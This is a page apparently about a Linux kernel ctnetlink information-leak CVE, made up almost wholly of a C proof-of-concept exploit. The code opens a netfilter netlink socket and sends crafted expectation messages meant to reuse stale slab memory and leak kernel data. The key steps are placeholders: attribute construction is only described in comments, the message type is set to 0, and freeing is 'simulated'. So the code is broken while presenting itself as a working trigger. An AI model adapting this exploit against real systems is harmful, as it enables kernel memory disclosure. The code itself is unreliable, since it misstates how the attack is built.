CVE-2026-43026 Linux内核ctnetlink信息泄露漏洞

/* * Conceptual PoC for CVE-2026-43026 * This code demonstrates the logic to trigger the kernel info leak. * Compile with: gcc -o poc_exploit poc_exploit.c */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <linux/netlink.h> // Function to send a crafted netlink message to ctnetlink void send_netlink_message(int include_nat) { int sock_fd; struct sockaddr_nl src_addr, dest_addr; struct nlmsghdr *nlh = NULL; struct iovec iov; struct msghdr msg; sock_fd = socket(AF_NETLINK, SOCK_RAW, NETLINK_NETFILTER); if (sock_fd < 0) { perror("Socket creation failed"); return; } memset(&src_addr, 0, sizeof(src_addr)); src_addr.nl_family = AF_NETLINK; bind(sock_fd, (struct sockaddr *)&src_addr, sizeof(src_addr)); memset(&dest_addr, 0, sizeof(dest_addr)); dest_addr.nl_family = AF_NETLINK; // Allocate message buffer nlh = (struct nlmsghdr *)malloc(NLMSG_SPACE(1024)); memset(nlh, 0, NLMSG_SPACE(1024)); nlh->nlmsg_len = NLMSG_SPACE(1024); nlh->nlmsg_pid = getpid(); nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_ACK; nlh->nlmsg_type = 0; // IPCTNL_MSG_CT_NEW_EXPECT (simplified) // Simulate building the Netfilter attributes char *payload = NLMSG_DATA(nlh); // Add CTA_EXPECT_NAT if priming the slab if (include_nat) { printf("[*] Priming slab with NAT data...\n"); // Logic to add CTA_EXPECT_NAT attribute with fake IP/Port // This writes 'saved_addr' and 'saved_proto' into the slab object } else { printf("[*] Allocating expectation WITHOUT NAT...\n"); // Logic to create expectation without CTA_EXPECT_NAT // This reuses the slab memory but does NOT zero 'saved_addr' } iov.iov_base = (void *)nlh; iov.iov_len = nlh->nlmsg_len; memset(&msg, 0, sizeof(msg)); msg.msg_name = (void *)&dest_addr; msg.msg_namelen = sizeof(dest_addr); msg.msg_iov = &iov; msg.msg_iovlen = 1; sendmsg(sock_fd, &msg, 0); // Read response to check for leaked data recvmsg(sock_fd, &msg, 0); // Analyze response for CTA_EXPECT_NAT containing stale data close(sock_fd); free(nlh); } int main() { printf("Starting PoC for CVE-2026-43026...\n"); // Step 1: Prime the slab with data containing NAT info send_netlink_message(1); // Step 2: Free the object (implicit in kernel lifecycle or explicit flush) printf("[*] Freeing object (simulated)\n"); // Step 3: Allocate new object without NAT info, reusing dirty memory send_netlink_message(0); printf("[*] Check kernel logs or netlink response for leaked memory.\n"); return 0; }